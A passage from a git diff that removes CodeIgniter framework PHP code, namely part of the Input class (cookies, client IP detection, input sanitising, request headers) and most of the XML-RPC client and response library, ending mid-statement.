values. - * - * @param string|mixed[] $name Cookie name or an array containing parameters - * @param string $value Cookie value - * @param int $expire Cookie expiration time in seconds - * @param string $domain Cookie domain (e.g.: '.yourdomain.com') - * @param string $path Cookie path (default: '/') - * @param string $prefix Cookie name prefix - * @param bool $secure Whether to only transfer cookies via SSL - * @param bool $httponly Whether to only makes the cookie accessible via HTTP (no javascript) - * @return void - */ - public function set_cookie($name, $value = '', $expire = '', $domain = '', $path = '/', $prefix = '', $secure = FALSE, $httponly = FALSE) - { - if (is_array($name)) - { - // always leave 'name' in last place, as the loop will break otherwise, due to $$item - foreach (array('value', 'expire', 'domain', 'path', 'prefix', 'secure', 'httponly', 'name') as $item) - { - if (isset($name[$item])) - { - $$item = $name[$item]; - } - } - } - - if ($prefix === '' && config_item('cookie_prefix') !== '') - { - $prefix = config_item('cookie_prefix'); - } - - if ($domain == '' && config_item('cookie_domain') != '') - { - $domain = config_item('cookie_domain'); - } - - if ($path === '/' && config_item('cookie_path') !== '/') - { - $path = config_item('cookie_path'); - } - - if ($secure === FALSE && config_item('cookie_secure') === TRUE) - { - $secure = config_item('cookie_secure'); - } - - if ($httponly === FALSE && config_item('cookie_httponly') !== FALSE) - { - $httponly = config_item('cookie_httponly'); - } - - if ( ! is_numeric($expire)) - { - $expire = time() - 86500; - } - else - { - $expire = ($expire > 0) ? time() + $expire : 0; - } - - setcookie($prefix.$name, $value, $expire, $path, $domain, $secure, $httponly); - } - - // -------------------------------------------------------------------- - - /** - * Fetch the IP Address - * - * Determines and validates the visitor's IP address. - * - * @return string IP address - */ - public function ip_address() - { - if ($this->ip_address !== FALSE) - { - return $this->ip_address; - } - - $proxy_ips = config_item('proxy_ips'); - if ( ! empty($proxy_ips) && ! is_array($proxy_ips)) - { - $proxy_ips = explode(',', str_replace(' ', '', $proxy_ips)); - } - - $this->ip_address = $this->server('REMOTE_ADDR'); - - if ($proxy_ips) - { - foreach (array('HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_CLIENT_IP', 'HTTP_X_CLUSTER_CLIENT_IP') as $header) - { - if (($spoof = $this->server($header)) !== NULL) - { - // Some proxies typically list the whole chain of IP - // addresses through which the client has reached us. - // e.g. client_ip, proxy_ip1, proxy_ip2, etc. - sscanf($spoof, '%[^,]', $spoof); - - if ( ! $this->valid_ip($spoof)) - { - $spoof = NULL; - } - else - { - break; - } - } - } - - if ($spoof) - { - for ($i = 0, $c = count($proxy_ips); $i < $c; $i++) - { - // Check if we have an IP address or a subnet - if (strpos($proxy_ips[$i], '/') === FALSE) - { - // An IP address (and not a subnet) is specified. - // We can compare right away. - if ($proxy_ips[$i] === $this->ip_address) - { - $this->ip_address = $spoof; - break; - } - - continue; - } - - // We have a subnet ... now the heavy lifting begins - isset($separator) OR $separator = $this->valid_ip($this->ip_address, 'ipv6') ? ':' : '.'; - - // If the proxy entry doesn't match the IP protocol - skip it - if (strpos($proxy_ips[$i], $separator) === FALSE) - { - continue; - } - - // Convert the REMOTE_ADDR IP address to binary, if needed - if ( ! isset($ip, $sprintf)) - { - if ($separator === ':') - { - // Make sure we're have the "full" IPv6 format - $ip = explode(':', - str_replace('::', - str_repeat(':', 9 - substr_count($this->ip_address, ':')), - $this->ip_address - ) - ); - - for ($j = 0; $j < 8; $j++) - { - $ip[$j] = intval($ip[$j], 16); - } - - $sprintf = '%016b%016b%016b%016b%016b%016b%016b%016b'; - } - else - { - $ip = explode('.', $this->ip_address); - $sprintf = '%08b%08b%08b%08b'; - } - - $ip = vsprintf($sprintf, $ip); - } - - // Split the netmask length off the network address - sscanf($proxy_ips[$i], '%[^/]/%d', $netaddr, $masklen); - - // Again, an IPv6 address is most likely in a compressed form - if ($separator === ':') - { - $netaddr = explode(':', str_replace('::', str_repeat(':', 9 - substr_count($netaddr, ':')), $netaddr)); - for ($j = 0; $j < 8; $j++) - { - $netaddr[$i] = intval($netaddr[$j], 16); - } - } - else - { - $netaddr = explode('.', $netaddr); - } - - // Convert to binary and finally compare - if (strncmp($ip, vsprintf($sprintf, $netaddr), $masklen) === 0) - { - $this->ip_address = $spoof; - break; - } - } - } - } - - if ( ! $this->valid_ip($this->ip_address)) - { - return $this->ip_address = '0.0.0.0'; - } - - return $this->ip_address; - } - - // -------------------------------------------------------------------- - - /** - * Validate IP Address - * - * @param string $ip IP address - * @param string $which IP protocol: 'ipv4' or 'ipv6' - * @return bool - */ - public function valid_ip($ip, $which = '') - { - switch (strtolower($which)) - { - case 'ipv4': - $which = FILTER_FLAG_IPV4; - break; - case 'ipv6': - $which = FILTER_FLAG_IPV6; - break; - default: - $which = NULL; - break; - } - - return (bool) filter_var($ip, FILTER_VALIDATE_IP, $which); - } - - // -------------------------------------------------------------------- - - /** - * Fetch User Agent string - * - * @return string|null User Agent string or NULL if it doesn't exist - */ - public function user_agent($xss_clean = NULL) - { - return $this->_fetch_from_array($_SERVER, 'HTTP_USER_AGENT', $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Sanitize Globals - * - * Internal method serving for the following purposes: - * - * - Unsets $_GET data, if query strings are not enabled - * - Cleans POST, COOKIE and SERVER data - * - Standardizes newline characters to PHP_EOL - * - * @return void - */ - protected function _sanitize_globals() - { - // Is $_GET data allowed? If not we'll set the $_GET to an empty array - if ($this->_allow_get_array === FALSE) - { - $_GET = array(); - } - elseif (is_array($_GET)) - { - foreach ($_GET as $key => $val) - { - $_GET[$this->_clean_input_keys($key)] = $this->_clean_input_data($val); - } - } - - // Clean $_POST Data - if (is_array($_POST)) - { - foreach ($_POST as $key => $val) - { - $_POST[$this->_clean_input_keys($key)] = $this->_clean_input_data($val); - } - } - - // Clean $_COOKIE Data - if (is_array($_COOKIE)) - { - // Also get rid of specially treated cookies that might be set by a server - // or silly application, that are of no use to a CI application anyway - // but that when present will trip our 'Disallowed Key Characters' alarm - // http://www.ietf.org/rfc/rfc2109.txt - // note that the key names below are single quoted strings, and are not PHP variables - unset( - $_COOKIE['$Version'], - $_COOKIE['$Path'], - $_COOKIE['$Domain'] - ); - - foreach ($_COOKIE as $key => $val) - { - if (($cookie_key = $this->_clean_input_keys($key)) !== FALSE) - { - $_COOKIE[$cookie_key] = $this->_clean_input_data($val); - } - else - { - unset($_COOKIE[$key]); - } - } - } - - // Sanitize PHP_SELF - $_SERVER['PHP_SELF'] = strip_tags($_SERVER['PHP_SELF']); - - log_message('debug', 'Global POST, GET and COOKIE data sanitized'); - } - - // -------------------------------------------------------------------- - - /** - * Clean Input Data - * - * Internal method that aids in escaping data and - * standardizing newline characters to PHP_EOL. - * - * @param string|string[] $str Input string(s) - * @return string - */ - protected function _clean_input_data($str) - { - if (is_array($str)) - { - $new_array = array(); - foreach (array_keys($str) as $key) - { - $new_array[$this->_clean_input_keys($key)] = $this->_clean_input_data($str[$key]); - } - return $new_array; - } - - /* We strip slashes if magic quotes is on to keep things consistent - - NOTE: In PHP 5.4 get_magic_quotes_gpc() will always return 0 and - it will probably not exist in future versions at all. - */ - if ( ! is_php('5.4') && get_magic_quotes_gpc()) - { - $str = stripslashes($str); - } - - // Clean UTF-8 if supported - if (UTF8_ENABLED === TRUE) - { - $str = $this->uni->clean_string($str); - } - - // Remove control characters - $str = remove_invisible_characters($str, FALSE); - - // Standardize newlines if needed - if ($this->_standardize_newlines === TRUE) - { - return preg_replace('/(?:\r\n|[\r\n])/', PHP_EOL, $str); - } - - return $str; - } - - // -------------------------------------------------------------------- - - /** - * Clean Keys - * - * Internal method that helps to prevent malicious users - * from trying to exploit keys we make sure that keys are - * only named with alpha-numeric text and a few other items. - * - * @param string $str Input string - * @param bool $fatal Whether to terminate script exection - * or to return FALSE if an invalid - * key is encountered - * @return string|bool - */ - protected function _clean_input_keys($str, $fatal = TRUE) - { - if ( ! preg_match('/^[a-z0-9:_\/|-]+$/i', $str)) - { - if ($fatal === TRUE) - { - return FALSE; - } - else - { - set_status_header(503); - echo 'Disallowed Key Characters.'; - exit(7); // EXIT_USER_INPUT - } - } - - // Clean UTF-8 if supported - if (UTF8_ENABLED === TRUE) - { - return $this->uni->clean_string($str); - } - - return $str; - } - - // -------------------------------------------------------------------- - - /** - * Request Headers - * - * @param bool $xss_clean Whether to apply XSS filtering - * @return array - */ - public function request_headers($xss_clean = FALSE) - { - // If header is already defined, return it immediately - if ( ! empty($this->headers)) - { - return $this->_fetch_from_array($this->headers, NULL, $xss_clean); - } - - // In Apache, you can simply call apache_request_headers() - if (function_exists('apache_request_headers')) - { - $this->headers = apache_request_headers(); - } - else - { - isset($_SERVER['CONTENT_TYPE']) && $this->headers['Content-Type'] = $_SERVER['CONTENT_TYPE']; - - foreach ($_SERVER as $key => $val) - { - if (sscanf($key, 'HTTP_%s', $header) === 1) - { - // take SOME_HEADER and turn it into Some-Header - $header = str_replace('_', ' ', strtolower($header)); - $header = str_replace(' ', '-', ucwords($header)); - - $this->headers[$header] = $_SERVER[$key]; - } - } - } - - return $this->_fetch_from_array($this->headers, NULL, $xss_clean); - } - - // -------------------------------------------------------------------- - - /** - * Get Request Header - * - * Returns the value of a single member of the headers class member - * - * @param string $index Header name - * @param bool $xss_clean Whether to apply XSS filtering - * @return string|null The requested header on success or NULL on failure - */ - public function get_request_header($index, $xss_clean = FALSE) - { - static $headers; - - if ( ! isset($headers)) - { - empty($this->headers) && $this->request_headers(); - foreach ($this->headers as $key => $value) - { - $headers[strtolower($key)] = $value; - } - } - - $index = strtolower($index); - - if ( ! isset($headers[$index])) - { - return NULL; - } - - return ($xss_clean === TRUE) - ? $this->security->xss_clean($headers[$index]) - : $headers[$index]; - } - - // -------------------------------------------------------------------- - - /** - * Is AJAX request? - * - * Test to see if a request contains the HTTP_X_REQUESTED_WITH header. - * - * @return bool - */ - public function is_ajax_request() - { - return ( ! empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'); - } - - // -------------------------------------------------------------------- - - /** - * Is CLI request? - * - * Test to see if a request was made from the command line. - * - * @deprecated 3.0.0 Use is_cli() instead - * @return bool - */ - public function is_cli_request() - { - return is_cli(); - } - - // -------------------------------------------------------------------- - - /** - * Get Request Method - * - * Return the request method - * - * @param bool $upper Whether to return in upper or lower case - * (default: FALSE) - * @return string - */ - public function method($upper = FALSE) - { - return ($upper) - ? strtoupper($this->server('REQUEST_METHOD')) - : strtolower($this->server('REQUEST_METHOD')); - } - - // ------------------------------------------------------------------------ - - /** - * Magic __get() - * - * Allows read access to protected properties - * - * @param string $name - * @return mixed - */ - public function __get($name) - { - if ($name === 'raw_input_stream') - { - isset($this->_raw_input_stream) OR $this->_raw_input_stream = file_get_contents('php://input'); - return $this->_raw_input_stream; - } - elseif ($name === 'ip_address') - { - return $this->ip_address; - } - } - -} diff --git a/system/libraries/Xmlrpc.php b/system/libraries/Xmlrpc.php deleted file mode 100755 index 7186646..0000000 --- a/system/libraries/Xmlrpc.php +++ /dev/null @@ -1,1922 +0,0 @@ -<?php -/** - * CodeIgniter - * - * An open source application development framework for PHP - * - * This content is released under the MIT License (MIT) - * - * Copyright (c) 2014 - 2016, British Columbia Institute of Technology - * - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in - * all copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN - * THE SOFTWARE. - * - * @package CodeIgniter - * @author EllisLab Dev Team - * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) - * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) - * @license http://opensource.org/licenses/MIT MIT License - * @link https://codeigniter.com - * @since Version 1.0.0 - * @filesource - */ -defined('BASEPATH') OR exit('No direct script access allowed'); - -if ( ! function_exists('xml_parser_create')) -{ - show_error('Your PHP installation does not support XML'); -} - -// ------------------------------------------------------------------------ - -/** - * XML-RPC request handler class - * - * @package CodeIgniter - * @subpackage Libraries - * @category XML-RPC - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html - */ -class CI_Xmlrpc { - - /** - * Debug flag - * - * @var bool - */ - public $debug = FALSE; - - /** - * I4 data type - * - * @var string - */ - public $xmlrpcI4 = 'i4'; - - /** - * Integer data type - * - * @var string - */ - public $xmlrpcInt = 'int'; - - /** - * Boolean data type - * - * @var string - */ - public $xmlrpcBoolean = 'boolean'; - - /** - * Double data type - * - * @var string - */ - public $xmlrpcDouble = 'double'; - - /** - * String data type - * - * @var string - */ - public $xmlrpcString = 'string'; - - /** - * DateTime format - * - * @var string - */ - public $xmlrpcDateTime = 'dateTime.iso8601'; - - /** - * Base64 data type - * - * @var string - */ - public $xmlrpcBase64 = 'base64'; - - /** - * Array data type - * - * @var string - */ - public $xmlrpcArray = 'array'; - - /** - * Struct data type - * - * @var string - */ - public $xmlrpcStruct = 'struct'; - - /** - * Data types list - * - * @var array - */ - public $xmlrpcTypes = array(); - - /** - * Valid parents list - * - * @var array - */ - public $valid_parents = array(); - - /** - * Response error numbers list - * - * @var array - */ - public $xmlrpcerr = array(); - - /** - * Response error messages list - * - * @var string[] - */ - public $xmlrpcstr = array(); - - /** - * Encoding charset - * - * @var string - */ - public $xmlrpc_defencoding = 'UTF-8'; - - /** - * XML-RPC client name - * - * @var string - */ - public $xmlrpcName = 'XML-RPC for CodeIgniter'; - - /** - * XML-RPC version - * - * @var string - */ - public $xmlrpcVersion = '1.1'; - - /** - * Start of user errors - * - * @var int - */ - public $xmlrpcerruser = 800; - - /** - * Start of XML parse errors - * - * @var int - */ - public $xmlrpcerrxml = 100; - - /** - * Backslash replacement value - * - * @var string - */ - public $xmlrpc_backslash = ''; - - /** - * XML-RPC Client object - * - * @var object - */ - public $client; - - /** - * XML-RPC Method name - * - * @var string - */ - public $method; - - /** - * XML-RPC Data - * - * @var array - */ - public $data; - - /** - * XML-RPC Message - * - * @var string - */ - public $message = ''; - - /** - * Request error message - * - * @var string - */ - public $error = ''; - - /** - * XML-RPC result object - * - * @var object - */ - public $result; - - /** - * XML-RPC Reponse - * - * @var array - */ - public $response = array(); // Response from remote server - - /** - * XSS Filter flag - * - * @var bool - */ - public $xss_clean = TRUE; - - // -------------------------------------------------------------------- - - /** - * Constructor - * - * Initializes property default values - * - * @param array $config - * @return void - */ - public function __construct($config = array()) - { - $this->xmlrpc_backslash = chr(92).chr(92); - - // Types for info sent back and forth - $this->xmlrpcTypes = array( - $this->xmlrpcI4 => '1', - $this->xmlrpcInt => '1', - $this->xmlrpcBoolean => '1', - $this->xmlrpcString => '1', - $this->xmlrpcDouble => '1', - $this->xmlrpcDateTime => '1', - $this->xmlrpcBase64 => '1', - $this->xmlrpcArray => '2', - $this->xmlrpcStruct => '3' - ); - - // Array of Valid Parents for Various XML-RPC elements - $this->valid_parents = array('BOOLEAN' => array('VALUE'), - 'I4' => array('VALUE'), - 'INT' => array('VALUE'), - 'STRING' => array('VALUE'), - 'DOUBLE' => array('VALUE'), - 'DATETIME.ISO8601' => array('VALUE'), - 'BASE64' => array('VALUE'), - 'ARRAY' => array('VALUE'), - 'STRUCT' => array('VALUE'), - 'PARAM' => array('PARAMS'), - 'METHODNAME' => array('METHODCALL'), - 'PARAMS' => array('METHODCALL', 'METHODRESPONSE'), - 'MEMBER' => array('STRUCT'), - 'NAME' => array('MEMBER'), - 'DATA' => array('ARRAY'), - 'FAULT' => array('METHODRESPONSE'), - 'VALUE' => array('MEMBER', 'DATA', 'PARAM', 'FAULT') - ); - - // XML-RPC Responses - $this->xmlrpcerr['unknown_method'] = '1'; - $this->xmlrpcstr['unknown_method'] = 'This is not a known method for this XML-RPC Server'; - $this->xmlrpcerr['invalid_return'] = '2'; - $this->xmlrpcstr['invalid_return'] = 'The XML data received was either invalid or not in the correct form for XML-RPC. Turn on debugging to examine the XML data further.'; - $this->xmlrpcerr['incorrect_params'] = '3'; - $this->xmlrpcstr['incorrect_params'] = 'Incorrect parameters were passed to method'; - $this->xmlrpcerr['introspect_unknown'] = '4'; - $this->xmlrpcstr['introspect_unknown'] = 'Cannot inspect signature for request: method unknown'; - $this->xmlrpcerr['http_error'] = '5'; - $this->xmlrpcstr['http_error'] = "Did not receive a '200 OK' response from remote server."; - $this->xmlrpcerr['no_data'] = '6'; - $this->xmlrpcstr['no_data'] = 'No data received from server.'; - - $this->initialize($config); - - log_message('info', 'XML-RPC Class Initialized'); - } - - // -------------------------------------------------------------------- - - /** - * Initialize - * - * @param array $config - * @return void - */ - public function initialize($config = array()) - { - if (count($config) > 0) - { - foreach ($config as $key => $val) - { - if (isset($this->$key)) - { - $this->$key = $val; - } - } - } - } - - // -------------------------------------------------------------------- - - /** - * Parse server URL - * - * @param string $url - * @param int $port - * @param string $proxy - * @param int $proxy_port - * @return void - */ - public function server($url, $port = 80, $proxy = FALSE, $proxy_port = 8080) - { - if (stripos($url, 'http') !== 0) - { - $url = 'http://'.$url; - } - - $parts = parse_url($url); - - if (isset($parts['user'], $parts['pass'])) - { - $parts['host'] = $parts['user'].':'.$parts['pass'].'@'.$parts['host']; - } - - $path = isset($parts['path']) ? $parts['path'] : '/'; - - if ( ! empty($parts['query'])) - { - $path .= '?'.$parts['query']; - } - - $this->client = new XML_RPC_Client($path, $parts['host'], $port, $proxy, $proxy_port); - } - - // -------------------------------------------------------------------- - - /** - * Set Timeout - * - * @param int $seconds - * @return void - */ - public function timeout($seconds = 5) - { - if ($this->client !== NULL && is_int($seconds)) - { - $this->client->timeout = $seconds; - } - } - - // -------------------------------------------------------------------- - - /** - * Set Methods - * - * @param string $function Method name - * @return void - */ - public function method($function) - { - $this->method = $function; - } - - // -------------------------------------------------------------------- - - /** - * Take Array of Data and Create Objects - * - * @param array $incoming - * @return void - */ - public function request($incoming) - { - if ( ! is_array($incoming)) - { - // Send Error - return; - } - - $this->data = array(); - - foreach ($incoming as $key => $value) - { - $this->data[$key] = $this->values_parsing($value); - } - } - - // -------------------------------------------------------------------- - - /** - * Set Debug - * - * @param bool $flag - * @return void - */ - public function set_debug($flag = TRUE) - { - $this->debug = ($flag === TRUE); - } - - // -------------------------------------------------------------------- - - /** - * Values Parsing - * - * @param mixed $value - * @return object - */ - public function values_parsing($value) - { - if (is_array($value) && array_key_exists(0, $value)) - { - if ( ! isset($value[1], $this->xmlrpcTypes[$value[1]])) - { - $temp = new XML_RPC_Values($value[0], (is_array($value[0]) ? 'array' : 'string')); - } - else - { - if (is_array($value[0]) && ($value[1] === 'struct' OR $value[1] === 'array')) - { - while (list($k) = each($value[0])) - { - $value[0][$k] = $this->values_parsing($value[0][$k]); - } - } - - $temp = new XML_RPC_Values($value[0], $value[1]); - } - } - else - { - $temp = new XML_RPC_Values($value, 'string'); - } - - return $temp; - } - - // -------------------------------------------------------------------- - - /** - * Sends XML-RPC Request - * - * @return bool - */ - public function send_request() - { - $this->message = new XML_RPC_Message($this->method, $this->data); - $this->message->debug = $this->debug; - - if ( ! $this->result = $this->client->send($this->message) OR ! is_object($this->result->val)) - { - $this->error = $this->result->errstr; - return FALSE; - } - - $this->response = $this->result->decode(); - return TRUE; - } - - // -------------------------------------------------------------------- - - /** - * Returns Error - * - * @return string - */ - public function display_error() - { - return $this->error; - } - - // -------------------------------------------------------------------- - - /** - * Returns Remote Server Response - * - * @return string - */ - public function display_response() - { - return $this->response; - } - - // -------------------------------------------------------------------- - - /** - * Sends an Error Message for Server Request - * - * @param int $number - * @param string $message - * @return object - */ - public function send_error_message($number, $message) - { - return new XML_RPC_Response(0, $number, $message); - } - - // -------------------------------------------------------------------- - - /** - * Send Response for Server Request - * - * @param array $response - * @return object - */ - public function send_response($response) - { - // $response should be array of values, which will be parsed - // based on their data and type into a valid group of XML-RPC values - return new XML_RPC_Response($this->values_parsing($response)); - } - -} // END XML_RPC Class - -/** - * XML-RPC Client class - * - * @category XML-RPC - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html - */ -class XML_RPC_Client extends CI_Xmlrpc -{ - /** - * Path - * - * @var string - */ - public $path = ''; - - /** - * Server hostname - * - * @var string - */ - public $server = ''; - - /** - * Server port - * - * @var int - */ - public $port = 80; - - /** - * - * Server username - * - * @var string - */ - public $username; - - /** - * Server password - * - * @var string - */ - public $password; - - /** - * Proxy hostname - * - * @var string - */ - public $proxy = FALSE; - - /** - * Proxy port - * - * @var int - */ - public $proxy_port = 8080; - - /** - * Error number - * - * @var string - */ - public $errno = ''; - - /** - * Error message - * - * @var string - */ - public $errstring = ''; - - /** - * Timeout in seconds - * - * @var int - */ - public $timeout = 5; - - /** - * No Multicall flag - * - * @var bool - */ - public $no_multicall = FALSE; - - // -------------------------------------------------------------------- - - /** - * Constructor - * - * @param string $path - * @param object $server - * @param int $port - * @param string $proxy - * @param int $proxy_port - * @return void - */ - public function __construct($path, $server, $port = 80, $proxy = FALSE, $proxy_port = 8080) - { - parent::__construct(); - - $url = parse_url('http://'.$server); - - if (isset($url['user'], $url['pass'])) - { - $this->username = $url['user']; - $this->password = $url['pass']; - } - - $this->port = $port; - $this->server = $url['host']; - $this->path = $path; - $this->proxy = $proxy; - $this->proxy_port = $proxy_port; - } - - // -------------------------------------------------------------------- - - /** - * Send message - * - * @param mixed $msg - * @return object - */ - public function send($msg) - { - if (is_array($msg)) - { - // Multi-call disabled - return new XML_RPC_Response(0, $this->xmlrpcerr['multicall_recursion'], $this->xmlrpcstr['multicall_recursion']); - } - - return $this->sendPayload($msg); - } - - // -------------------------------------------------------------------- - - /** - * Send payload - * - * @param object $msg - * @return object - */ - public function sendPayload($msg) - { - if ($this->proxy === FALSE) - { - $server = $this->server; - $port = $this->port; - } - else - { - $server = $this->proxy; - $port = $this->proxy_port; - } - - $fp = @fsockopen($server, $port, $this->errno, $this->errstring, $this->timeout); - - if ( ! is_resource($fp)) - { - error_log($this->xmlrpcstr['http_error']); - return new XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error']); - } - - if (empty($msg->payload)) - { - // $msg = XML_RPC_Messages - $msg->createPayload(); - } - - $r = "\r\n"; - $op = 'POST '.$this->path.' HTTP/1.0'.$r - .'Host: '.$this->server.$r - .'Content-Type: text/xml'.$r - .(isset($this->username, $this->password) ? 'Authorization: Basic '.base64_encode($this->username.':'.$this->password).$r : '') - .'User-Agent: '.$this->xmlrpcName.$r - .'Content-Length: '.strlen($msg->payload).$r.$r - .$msg->payload; - - stream_set_timeout($fp, $this->timeout); // set timeout for subsequent operations - - for ($written = $timestamp = 0, $length = strlen($op); $written < $length; $written += $result) - { - if (($result = fwrite($fp, substr($op, $written))) === FALSE) - { - break; - } - // See https://bugs.php.net/bug.php?id=39598 and http://php.net/manual/en/function.fwrite.php#96951 - elseif ($result === 0) - { - if ($timestamp === 0) - { - $timestamp = time(); - } - elseif ($timestamp < (time() - $this->timeout)) - { - $result = FALSE; - break; - } - } - else - { - $timestamp = 0; - } - } - - if ($result === FALSE) - { - error_log($this->xmlrpcstr['http_error']); - return new XML_RPC_Response(0, $this->xmlrpcerr['http_error'], $this->xmlrpcstr['http_error']); - } - - $resp = $msg->parseResponse($fp); - fclose($fp); - return $resp; - } - -} // END XML_RPC_Client Class - -/** - * XML-RPC Response class - * - * @category XML-RPC - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html - */ -class XML_RPC_Response -{ - - /** - * Value - * - * @var mixed - */ - public $val = 0; - - /** - * Error number - * - * @var int - */ - public $errno = 0; - - /** - * Error message - * - * @var string - */ - public $errstr = ''; - - /** - * Headers list - * - * @var array - */ - public $headers = array(); - - /** - * XSS Filter flag - * - * @var bool - */ - public $xss_clean = TRUE; - - // -------------------------------------------------------------------- - - /** - * Constructor - * - * @param mixed $val - * @param int $code - * @param string $fstr - * @return void - */ - public function __construct($val, $code = 0, $fstr = '') - { - if ($code !== 0) - { - // error - $this->errno = $code; - $this->errstr = htmlspecialchars($fstr, - (is_php('5.4') ? ENT_XML1 | ENT_NOQUOTES : ENT_NOQUOTES), - 'UTF-8'); - } - elseif ( ! is_object($val)) - { - // programmer error, not an object - error_log("Invalid type '".gettype($val)."' (value: ".$val.') passed to XML_RPC_Response. Defaulting to empty value.'); - $this->val = new XML_RPC_Values(); - } - else - { - $this->val = $val; - } - } - - // -------------------------------------------------------------------- - - /** - * Fault code - * - * @return int - */ - public function faultCode() - { - return $this->errno; - } - - // -------------------------------------------------------------------- - - /** - * Fault string - * - * @return string - */ - public function faultString() - { - return $this->errstr; - } - - // -------------------------------------------------------------------- - - /** - * Value - * - * @return mixed - */ - public function value() - { - return $this->val; - } - - // -------------------------------------------------------------------- - - /** - * Prepare response - * - * @return string xml - */ - public function prepare_response() - { - return "<methodResponse>\n" - .($this->errno - ? '<fault> - <value> - <struct> - <member> - <name>faultCode</name> - <value><int>'.$this->errno.'</int></value> - </member> - <member> - <name>faultString</name> - <value><string>'.$this->errstr.'</string></value> - </member> - </struct> - </value> -</fault>' - : "<params>\n<param>\n".$this->val->serialize_class()."</param>\n</params>") - ."\n</methodResponse>"; - } - - // -------------------------------------------------------------------- - - /** - * Decode - * - * @param mixed $array - * @return array - */ - public function decode($array = NULL) - { - $CI =& get_instance(); - - if (is_array($array)) - { - while (list($key) = each($array)) - { - if (is_array($array[$key])) - { - $array[$key] = $this->decode($array[$key]); - } - elseif ($this->xss_clean) - { - $array[$key] = $CI->security->xss_clean($array[$key]); - } - } - - return $array; - } - - $result = $this->xmlrpc_decoder($this->val); - - if (is_array($result)) - { - $result = $this->decode($result); - } - elseif ($this->xss_clean) - { - $result = $CI->security->xss_clean($result); - } - - return $result; - } - - // -------------------------------------------------------------------- - - /** - * XML-RPC Object to PHP Types - * - * @param object - * @return array - */ - public function xmlrpc_decoder($xmlrpc_val) - { - $kind = $xmlrpc_val->kindOf(); - - if ($kind === 'scalar') - { - return $xmlrpc_val->scalarval(); - } - elseif ($kind === 'array') - { - reset($xmlrpc_val->me); - $b = current($xmlrpc_val->me); - $arr = array(); - - for ($i = 0, $size = count($b); $i < $size; $i++) - { - $arr[] = $this->xmlrpc_decoder($xmlrpc_val->me['array'][$i]); - } - return $arr; - } - elseif ($kind === 'struct') - { - reset($xmlrpc_val->me['struct']); - $arr = array(); - - while (list($key,$value) = each($xmlrpc_val->me['struct'])) - { - $arr[$key] = $this->xmlrpc_decoder($value); - } - return $arr; - } - } - - // -------------------------------------------------------------------- - - /** - * ISO-8601 time to server or UTC time - * - * @param string - * @param bool - * @return int unix timestamp - */ - public function iso8601_decode($time, $utc = FALSE) - { - // Return a time in the localtime, or UTC - $t = 0; - if (preg_match('/([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})/', $time, $regs)) - { - $fnc = ($utc === TRUE) ? 'gmmktime' : 'mktime'; - $t = $fnc($regs[4], $regs[5], $regs[6], $regs[2], $regs[3], $regs[1]); - } - return $t; - } - -} // END XML_RPC_Response Class - -/** - * XML-RPC Message class - * - * @category XML-RPC - * @author EllisLab Dev Team - * @link https://codeigniter.com/user_guide/libraries/xmlrpc.html - */ -class XML_RPC_Message extends CI_Xmlrpc -{ - - /** - * Payload - * - * @var string - */ - public $payload; - - /** - * Method name - * - * @var string - */ - public $method_name; - - /** - * Parameter list - * - * @var array - */ - public $params = array(); - - /** - * XH? - * - * @var array - */ - public $xh = array(); - - // -------------------------------------------------------------------- - - /** - * Constructor - * - * @param string $method - * @param array $pars - * @return void - */ - public function __construct($method, $pars = FALSE) - { - parent::__construct(); - - $this->method_name = $method; - if (is_array($pars) && count($pars) > 0) - { - for ($i = 0, $c = count($pars); $i < $c; $i++) - { - // $pars[$i] = XML_RPC_Values - $this->params[] = $pars[$i]; - } - } - } - - // -------------------------------------------------------------------- - - /** - * Create Payload to Send - * - * @return void - */ - public function createPayload() - { - $this->payload = '<?xml version="1.0"?'.">\r\n<methodCall>\r\n" - .'<methodName>'.$this->method_name."</methodName>\r\n" - ."<params>\r\n"; - - for ($i = 0, $c = count($this->params); $i < $c; $i++) - { - // $p = XML_RPC_Values - $p = $this->params[$i]; - $this->payload .= "<param>\r\n".$p->serialize_class()."</param>\r\n"; - } - - $this->payload .= "</params>\r\n</methodCall>\r\n"; - } - - // -------------------------------------------------------------------- - - /** - * Parse External XML-RPC Server's Response - * - * @param resource - * @return object - */ - public function parseResponse($fp) - { - $data = ''; - - while ($datum = fread($fp, 4096)) - { - $data .= $datum; - } - - // Display HTTP content for debugging - if ($this->debug === TRUE) - { - echo "<pre>---DATA---\n".htmlspecialchars($data)."\n---END DATA---\n\n</pre>"; - } - - // Check for data - if ($data === '') - { - error_log($this->xmlrpcstr['no_data']); - return new XML_RPC_Response(0, $this->xmlrpcerr['no_data'], $this->xmlrpcstr['no_data']); - } - - // Check for HTTP 200 Response - if (strpos($data, 'HTTP') === 0 && ! preg_match('/^HTTP\/[0-9\.]+ 200 /', $data)) - { - $errstr = substr($data, 0, strpos($data, "\n")-1); - return new 